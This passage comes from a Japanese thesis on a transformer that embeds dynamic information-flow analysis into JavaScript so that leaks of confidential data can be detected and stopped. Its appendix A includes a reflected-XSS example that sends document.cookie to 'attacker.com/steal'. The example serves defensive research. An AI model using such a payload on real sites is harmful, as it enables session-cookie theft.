図 5.4に変数オブジェクトを用いた S式 JavaScriptコードの変換例を示す。decled-vars

部において、関数オブジェクト内で宣言されるローカル変数 aを記述している。JavaScript

処理系は値が格納されていないローカル変数を評価した場合、エラーを返しプログラムの

実行が中止される。しかし ULSの評価規則 GETではエラーではなく定数 undefined

とラベルを返すので、GETに従った評価を表現するために、ifa.lspはこの情報を用いて、

関数本体の冒頭に変数 a と a_lab に定数 undefinedを格納するコードを出力する。
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5.4 動的情報流解析を埋め込む変換器:ifa.lsp

ifa.lspは本研究で実装したプログラム変換器である。行数は約 1500行である。このプ

ログラムは変数オブジェクトを用いた S式 JavaScriptを、動的情報流解析を埋め込んだ

変数オブジェクトを用いた S式 JavaScriptに変換する。この変換器によって出力された

プログラムの構文規則は symtab.lspによって出力されたプログラムの構文と同様である。

ifa.lspはまず最初に、__pc を宣言し、グローバルオブジェクトと document オブジェク

トなど JavaScriptに予め組み込まれているオブジェクトと関数のラベリングを行い、関数

呼び出しにおける引数と this のラベルの伝播を行うためのグローバル変数を宣言する。

そして、プログラムの構文解析を行い、プログラム中の各式文に応じて、4章で述べた設

計に従ったコード変換を行い、S式 JavaScriptプログラムに動的情報流解析を行うコード

を埋め込む。ifa.lspで新たに追加された S式 JavaScriptの変数オブジェクトは、後述す

る ast2js.lspによって JavaScriptの変数に変換されるが、ast2js.lspは変数オブジェクトに

埋め込まれているレキシカルレベルは無視して JavaScriptコードに変換するので、ifa.lsp

で追加される変数オブジェクトに正しいレキシカルレベルを埋め込む必要がない。従っ

て、ifa.lspでは変数オブジェクトのレキシカルレベルの解析は行わない。また、ifa.lspは

SETや GETなどが適用されるにおいて、ifa.lspが新たに追加する全ての変数名の後ろに

_xを付加する。xに入る数値は変数名に付加した後、+1加算されるため、一つの文にお

いて同じ評価規則が複数回適用される場合においても、異なる値やラベルが同一の変数

名に代入されることはない。2.1.1節の反射型 XSSの script タグ内に記述されている

JavaScriptコードを js2s、a-norm.lsp、symtab.lspで変換したコードを、実際に ifa.lspで変

換し、後述のプログラム変換器 ast2js.lspで JavaScriptコードに直した付録 A を示す。た

だし、Math オブジェクトのラベリングなど、2.1.1節のコード変換に関係ない初期コー

ドは省略している。付録 A では、document.location に代入される__v_9 のラベ

ル (__v_9_lab )が H となるので、document.location = __v_9; を実行する前

に__v_9_lab を値を検査し、1 以上であれば警告を出す if 文を加えるなどの対策を施

すことで、この実行を止めることが可能となる。2.1.1節で示されている蓄積型 XSSと

DOM型 XSSの JavaScriptコードについても、同様に検出することができる。

5.5 S式 JavaScript to JavaScript変換器:ast2js.lsp

ast2js.lspは小宮研究室で提供されているプログラム変換器である [8]。このプログラ

ムは S式 JavaScriptを JavaScriptに変換する。ast2js.lspによって変換された JavaScript

プログラムは、変換前の S式 JavaScriptプログラムと等価な意味を持つ。ast2js.lspは
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symtab.lspまたは ifa.lspによって生成された変数オブジェクトを用いた S式 JavaScript

コードにも対応している。ast2js.lspに ifa.lspが出力した S式 JavaScriptを入力すること

で、Austinらの動的情報流解析を埋め込んだ JavaScriptプログラムが出力される。この

JavaScriptプログラムは ECMAScriptの構文規則に準拠したものであり、Webブラウザに

搭載されている JavaScript処理系で実行可能である。
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第 6章

評価

本章では、5章で実装した変換器が出力する JavaScriptプログラムの評価を述べる。本

研究では、変換器が出力したプログラムが機密データに正しく機密ラベルを付加させるか

を検証するため、機密情報を漏洩する複数のプログラムを用意し、ラベリングの正確性

を検証した。6.1節にその結果を報告する。また、プログラム変換によって生じるオーバ

ヘッドの測定を行うため、JavaScriptで記述されたプログラムを実行し、性能評価を行っ

た。6.2節にその結果を報告する。

6.1 ラベリングの正確性の検証

本研究では、実装した変換器が出力するプログラムが、機密データに正しく H を付加

するかを検証するため機密情報を漏洩するプログラムを用意し、ラベリングの正確性を検

証した。本節ではその詳細について述べる。

Austinらの動的情報流解析は if 式において、条件式を評価した時に返される値の

ラベルを pc として、then 部または else 部を実行することで、暗黙的フローにおけ

る機密データの情報流を追跡する。図 6.1に図 2.5で示した暗黙的フローを利用したプ

ログラムに Austinの動的情報流解析を適用した例を示す。このプログラムの初期の pc

と 1行目の x のラベルとスコープオブジェクトとそのポインタのラベルは全て L とす

る。Austinらの動的情報流解析を適用した場合、2行目の if 文の条件式で評価される

document.cookie のラベルがH であるため、then 部または else 部における pcは

　　　　　 var xˆL;

　　　　　 if(document.cookieˆH){x = falseˆH;} 　　　//STUCK

　　　　　 else{x = trueˆH;} 　　　　　　　　　　　　　　 //STUCK

　　　　　 if(x){return false;}

　　　　　 else{return true;}

図 6.1 図 2.5のプログラムに Austinの動的情報流解析を適用した例
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必ず H となる。このプログラムではローカル変数 x とスコープオブジェクトのラベルが

Lであるので、評価規則 SETに従って、x への代入は中止される。図 2.5のプログラムを

本研究で実装した変換器が変換したコードを付録 Bに示す。以下に付録 Bのプログラム

を実行した時、Austinの動的情報流解析と同様に、ローカル変数 x への代入を中止するプ

ログラムの動きを述べる。

図 2.5における 2行目の if 文の条件式では機密情報である document.cookie が評

価される。付録 Bのプログラムは、まず始めにプログラムの A 正規化によって生成され

た一時変数 t1 と t1_lab に評価規則GETに従って取得した document.cookie の値

とラベルを格納する。そのコードを以下に示す。

var __k_3 = __pc + globalObj_plab;

var __l_4 = __pc;

var __p_0 = document;

var __p_0_lab = document_lab + globalObj_label + __k_3 + __l_4;

var __k_1 = __p_0_lab;

var __l_5 = __pc;

if (document.hasOwnProperty("cookie"))

{

var t1 = document.cookie;

//document.cookie_lab=1(=H)

var t1_lab = document.cookie_lab + document.label

　　　　　　　　　　　　 + __k_1 + __l_5;

}

else

{

var t1 = document.cookie;

var t1_lab = document.__proto___lab + document.__proto__.label

　　　　　　　　　　　　 + document.label + __k_1 + __l_5;

}

document.hasOwnProperty("cookie") の返値は trueであるので、このコードの

if 文の then 部のコードが実行される。document.cookie は機密情報であるので、

そのラベルを表現する document.cookie_lab の値は 1(H) として予め与えている。

従って、t1_lab の値は必ず 1 以上の数値 (H)となる。

次に、付録 Bのプログラムは評価規則 THENまたは ELSEに従って、H と等価な値が

格納されている t1_lab の値を__pc に伝播させ、そして document.cookie の値が
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格納された t1 を if 文の条件式に伝播させて if 文の then 部または else 部のコード

を実行する。そのコードを以下に示す。

var __bool_6 = t1;

var __bool_6_lab = t1_lab; //t1_lab ≧ 1(=H)

var __tmppc_7 = __pc;

__pc = __bool_6_lab;

if (__bool_6)

t1 、t1_lab の値をローカル変数__bool_6 、__bool_6_lab にそれぞれ代入し、

__bool_lab を__pc に代入してから__bool_6 を if 文の条件式として与えて評価

する。t1_lab の値は 1 以上の数値なので、if 文の then 部または else 部における

__pc の値も 1 以上の数値となるので、document.cookie のラベル H が、Austinの

動的情報流解析に示される通りに伝播される。

最後に、付録 B のプログラムは then 部と else 部いずれにおいても評価規則 SET

に従って、x に定数の代入を行う。Austinの動的情報流解析では、この時の pc は H

であり、x のオブジェクトのラベルは L であるため、評価規則 SETの前提条件である

k ⊑ label(R)が満たせず、実行が中止される。付録 Bのプログラムにおいても、__pc は

1 以上の数値であり、x のオブジェクトのラベル (_scope_label_1 )は 0 であるので、

未定義の関数 javascript_die が実行され、エラーが返される。そのコードを以下に

示す。

//then 部

if (__bool_6)

{

var __k_9 = __pc + _scope_plab_1; 　　　//__pc ≧ 1(=H)

var __l_10 = __pc;

var __v_11 = false;

var __v_11_lab = __pc;

//__k_9 ≧ 1(=H) , _scope_label_1=0(=L)

if (__k_9 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

//else 部

else

{
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var __k_13 = __pc + _scope_plab_1; 　　　//__pc ≧ 1(=H)

var __l_14 = __pc;

var __v_15 = true;

var __v_15_lab = __pc;

//__k_13 ≧ 1(=H) , _scope_label_1=0(=L)

if (__k_13 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

変数 x のオブジェクトはスコープオブジェクトであるため、評価規則 VAR が適用さ

れ、__pc+_scope_plab_1 の値が変数__k_9 または__k_13 に代入される。then

部または else 部の__pc の値は必ず 1 以上の数値であるので、変数__k_9 または

__k_13 の値も必ず 1 以上の数値になる。そして、スコープオブジェクトのラベ

ル (_scope_label_1 ) は 0(L) としているので、then 部と else 部の if 文の条

件式はどちらも必ず true を返す。従って、then 部と else 部どちらにおいても、

javascript_die() が実行され、エラーが返される。

これにより、本研究の変換器によって変換されたプログラムにおいて、Austinの動的情

報流解析手法と等価なラベリングが行われることを示した。本研究では、この他に 2つの

プログラムにおいて、ラベリングが正しく行われるかを検証した。そのプログラムを付録

Cと付録 Dに示す。付録 Cでは、関数 outer あるいは outer 内のクロージャの引数の

ラベルが H の場合、outer のクロージャの return 文の値のラベルがH となり、返値

のラベルも H が返される。付録 Dにおいても同様に、outer のクロージャの引数 x の

ラベルがH の場合、H が返される。また、付録 Dの outer のローカル変数 y はクロー

ジャ内で x と加算されるため、クロージャの引数のラベルが一度 H になると、y のラベ

ルは H のまま保持される。

6.2 性能評価

本研究では、JavaScriptで記述したフィボナッチ関数を実行し、性能評価を行った。実

行したフィボナッチ関数の変換前のコードは以下の通りである。

　　　　　 function fib(n){

　　　　　　　 if(n<2)

　　　　　　　　　 return n;

　　　　　　　 else

　　　　　　　　　 return fib(n-1)+fib(n-2);
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　　　　　}

このコードを本研究で実装した変換器を用いて変換し、変換前のフィボナッチ関数と変換

後のフィボナッチ関数の実行時間の測定を行った。測定は 2.66GHzの Intel Core i7およ

びメモリ 4GB(DDR3)を搭載した MacBookProで行った。図 6.2にその評価結果を示す。

fib(40)、fib(41)、fib(42)は JavaScriptで書かれたフィボナッチ関数の実行時間を示すグラ

フである。変換したプログラムは実行時間は約 10倍の実行時間を要した。

更に、本研究では JavaScriptで記述された Schemeインタプリタ上で、以下のような

フィボナッチ関数を実行し、前述と同じ環境で性能評価を行った。

　　　　　 (define (fib n)

　　　　　　　 (if (< n 2)

　　　　　　　　　 n

　　　　　　　　　 (+ (fib (- n 1)) (fib (- n 2)))))

この Schemeインタプリタはプロトタイプチェーンを辿り、__proto__ が指すオブジェ

クトのメソッドを実行するため、更に大きなオーバヘッドが生じた。図 6.3にその評価を

示す。図中の scm.jsはプログラム変換前の Schemeインタプリタであり、scm-ifa.jsはプロ

グラム変換後の Schemeインタプリタである。図中の (fib 22)、(fib 23)、(fib 24)は Scheme

インタプリタ上で書かれたフィボナッチ関数の実行時間を示すグラフである。変換したプ

ログラムは約 50倍の実行時間を要した。本研究で実装した変換器は GET-PARENTの対

応が不十分であるため、本実験に用いた Schemeインタプリタではほぼ影響はでないが、

図 6.2 変換前の関数 fib と変換後の関数 fib の性能評価
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図 6.3 scm.jsと scm-ifa.jsの性能評価

この性能評価は完全ではない。
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第 7章

結論

7.1 まとめ

本研究では JavaScriptコードを Austinの動的情報流解析を埋め込んだ JavaScriptコー

ドに変換するソースコード変換器を実装した。変換器によって出力された JavaScriptコー

ドはオリジナルの JavaScriptエンジンで実行可能であるため、既存の Webブラウザの

JavaScriptエンジンを改造する必要はない。ラベリングの正確性の検証では、機密情報が

漏洩する暗黙的フローにおいても、Austinの動的情報流解析と等価なラベリングが行わ

れることを示した。また、性能評価では変換前と変換後のプログラムの実行において、約

10-50倍の実行時間を要した。

7.2 今後の課題

今後の課題としては、本研究で実装した変換器では、ULSにおける GET-PARENTを

完全に実装しておらず、任意のオブジェクトの__proto__ が指し示すオブジェクトの

プロパティを取得するにあたって、正しいラベリングを行うことができない。完全な

GET-PARENTの実装は最重要事項の一つして挙げられる。

また、for,while などのループ文や switch,try/catch/finally,break 文な

ど、Austinらの動的情報流解析で定義されていないステートメントは、全て再帰呼び出し

や if 文などに書き換えなければならない。従って、このようなステートメントが使われ

たコードが入力された場合においても、Austinらの動的情報流解析を埋め込んだコードを

出力するための設計と実装を行う必要がある。特に if 文や関数呼び出しでは例外処理を

記述することが困難であるため、try/catch/finally の対応は重要となる。

また、本研究では 4.3節で関数 eval の問題点を述べたが、それを解決するための設計

はまだ成されていない。更に、JavaScriptのステートメントの一つである with 文は 4.3

節で述べた関数 eval の問題と同様に、引数のオブジェクトは実行されるまで判別するこ

とができない。従って、本研究で実装した変換器においても with 文のブロック内に記述

されているコード中の値や、with 文のブロック内のコードによって値が書き換えられた
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プロパティが使われるコード中の値に対して、適切なラベリングを行うことができない。

関数 eval と with 文の問題を解決手法の提案と、具体的な変換コードの設計、そして変

換器への実装に取り組む必要がある。

最後に性能評価では変換後のプログラムは変換前のプログラムと比較して、おおよそ

10-50倍の実行時間を要した。変換前と変換後のプログラムのオーバヘッドを削減するた

めの手法として、Austinらの動的情報流解析において 50%オーバヘッドの削減を示唆す

る sparse labeling semanticsの実装を始めとした、実行オーバヘッドの削減手法の提案・

設計・実装に取り組む必要がある。
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付録 A

2.1.1節の反射型 XSSの script タグ内に
記述されている JavaScriptコードの変換例

var __pc = 0.0;

var globalObj_plab = 0.0;

var globalObj_label = 0.0;

var document_lab = 0.0;

document.label = 0.0;

document.cookie_lab = 1.0;

document.location_lab = 0.0;

var __k_5 = __pc + globalObj_plab;

var __l_6 = __pc;

var __p_2 = document;

var __p_2_lab = document_lab + globalObj_label + __k_5 + __l_6;

var __k_3 = __p_2_lab;

var __l_7 = __pc;

if (document.hasOwnProperty("location"))

{

var __p_0 = document.location;

var __p_0_lab = document.location_lab + document.label

+ __k_3 + __l_7;

}

else

{

var __p_0 = document.location;

var __p_0_lab = document.__proto___lab + document.__proto__.label

+ document.label + __k_3 + __l_7;

}
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var __k_1 = __p_0_lab;

var __l_8 = __pc;

var __c_10 = "http://attacker.com/steal?cookie=";

var __c_10_lab = __pc;

var __k_14 = __pc + globalObj_plab;

var __l_15 = __pc;

var __p_11 = document;

var __p_11_lab = document_lab + globalObj_label + __k_14 + __l_15;

var __k_12 = __p_11_lab;

var __l_16 = __pc;

if (document.hasOwnProperty("cookie"))

{

var __d_11 = document.cookie;

var __d_11_lab = document.cookie_lab + document.label

+ __k_12 + __l_16;

}

else

{

var __d_11 = document.cookie;

var __d_11_lab = document.__proto___lab + document.__proto__.label

+ document.label + __k_12 + __l_16;

}

var __v_9 = __c_10 + __d_11;

var __v_9_lab = __c_10_lab + __d_11_lab;

if (__k_1 > globalObj_label && globalObj_label == 0.0)

javascript_die();

if (document.location != undefined)

{

if (__l_8 > document.location_lab && document.location_lab == 0.0)

javascript_die();

}

else

{

if (__l_8 > globalObj_label && globalObj_label == 0.0)

javascript_die();
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}

document.location = __v_9;

document.location_lab = __v_9_lab + __l_8;
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付録 B

図 2.5の JavaScriptプログラムの変換例

var x = undefined;

var x_lab = undefined;

var t1 = undefined;

var t1_lab = undefined;

{

var __k_3 = __pc + globalObj_plab;

var __l_4 = __pc;

var __p_0 = document;

var __p_0_lab = document_lab + globalObj_label + __k_3 + __l_4;

var __k_1 = __p_0_lab;

var __l_5 = __pc;

if (document.hasOwnProperty("cookie"))

{

var t1 = document.cookie;

var t1_lab = document.cookie_lab + document.label

+ __k_1 + __l_5;

}

else

{

var t1 = document.cookie;

var t1_lab = document.__proto___lab + document.__proto__.label

　　　　　　　　　　　　　　　　　　 + document.label + __k_1 + __l_5;

}

var __bool_6 = t1;

var __bool_6_lab = t1_lab;

var __tmppc_7 = __pc;

__pc = __bool_6_lab;
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if (__bool_6)

{

var __k_9 = __pc + _scope_plab_1;

var __l_10 = __pc;

var __v_11 = false;

var __v_11_lab = __pc;

if (__k_9 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

if (x != undefined)

{

if (__l_10 > x_lab && x_lab == 0.0)

javascript_die();

}

else

{

if (__l_10 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

}

x = __v_11;

x_lab = __v_11_lab + __l_10;

}

else

{

var __k_13 = __pc + _scope_plab_1;

var __l_14 = __pc;

var __v_15 = true;

var __v_15_lab = __pc;

if (__k_13 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

if (x != undefined)

{

if (__l_14 > x_lab && x_lab == 0.0)

javascript_die();

}

else
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{

if (__l_14 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

}

x = __v_15;

x_lab = __v_15_lab + __l_14;

}

__pc = __tmppc_7;

}

var __k_18 = __pc + _scope_plab_1;

var __l_19 = __pc;

var __bool_16 = x;

var __bool_16_lab = x_lab + _scope_label_1 + __k_18 + __l_19;

var __tmppc_20 = __pc;

__pc = __bool_16_lab;

if (__bool_16)

{

var __return = false;

var __return_lab = __pc;

__tmplab_0 = __return_lab;

return __return;

}

else

{

var __return = true;

var __return_lab = __pc;

__tmplab_0 = __return_lab;

return __return;

}

__pc = __tmppc_20;
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付録 C

テストプログラム 1

// 変換前

function outer(y) {

return function (x) {

return x + y + 1;

};

}

↓

// 変換後

function outer(y) {

var outer_lab = __pc;

var _scope_plab_1 = __pc;

var _scope_label_1 = __pc;

var this_lab = tmpthis_lab;

var y_lab = __tmplab_0;

var t1 = undefined;

var t1_lab = undefined;

var t1 = undefined;

var t1_lab = undefined;

var __return = function (x) {

var _scope_plab_2 = __pc;

var _scope_label_2 = __pc;

var this_lab = tmpthis_lab;

var x_lab = __tmplab_0;

var t1 = undefined;

var t1_lab = undefined;

var t1 = undefined;

var t1_lab = undefined;
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{

var __k_1 = __pc + _scope_plab_2;

var __l_2 = __pc;

var __c_0 = x;

var __c_0_lab = x_lab + _scope_label_2 + __k_1 + __l_2;

var __k_5 = __pc + _scope_plab_1;

var __l_6 = __pc;

var __d_4 = y;

var __d_4_lab = y_lab + _scope_label_1 + __k_5 + __l_6;

var __c_0 = __c_0 + __d_4;

var __c_0_lab = __c_0_lab + __d_4_lab;

var __d_9 = 1.0;

var __d_9_lab = __pc;

var t1 = __c_0 + __d_9;

var t1_lab = __c_0_lab + __d_9_lab;

var __return = t1;

var __return_lab = t1_lab;

__tmplab_0 = __return_lab;

return __return;

}

};

var __return_lab = __pc;

__tmplab_0 = __return_lab;

return __return;

}

var outer_lab = __pc;
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付録 D

テストプログラム 2

// 変換前

function outer() {

var y=0;

return function (x) {

y += x;

return y;

};

}

↓

// 変換後

function outer() {

var outer_lab = __pc;

var _scope_plab_1 = __pc;

var _scope_label_1 = __pc;

var this_lab = tmpthis_lab;

var y = undefined;

var y_lab = undefined;

var __k_0 = __pc + _scope_plab_1;

var __l_1 = __pc;

var __v_2 = 0.0;

var __v_2_lab = __pc;

if (__k_0 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

if (y != undefined)

{

if (__l_1 > y_lab && y_lab == 0.0)

javascript_die();
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}

else

{

if (__l_1 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

}

var y = __v_2;

var y_lab = __v_2_lab + __l_1;

var __return = function (x) {

var _scope_plab_2 = __pc;

var _scope_label_2 = __pc;

var this_lab = tmpthis_lab;

var x_lab = __tmplab_0;

var __k_4 = __pc + _scope_plab_1;

var __l_5 = __pc;

var __k_8 = __pc + _scope_plab_2;

var __l_9 = __pc;

var __v_6 = x;

var __v_6_lab = x_lab + _scope_label_2 + __k_8 + __l_9;

if (__k_4 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

if (y != undefined)

{

if (__l_5 > y_lab && y_lab == 0.0)

javascript_die();

}

else

{

if (__l_5 > _scope_label_1 && _scope_label_1 == 0.0)

javascript_die();

}

y += __v_6;

y_lab += __v_6_lab + __l_5;

var __k_11 = __pc + _scope_plab_1;

var __l_12 = __pc;
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var __return = y;

var __return_lab = y_lab + _scope_label_1 + __k_11 + __l_12;

__tmplab_0 = __return_lab;

return __return;

};

var __return_lab = __pc;

__tmplab_0 = __return_lab;

return __return;

}

var outer_lab = __pc;
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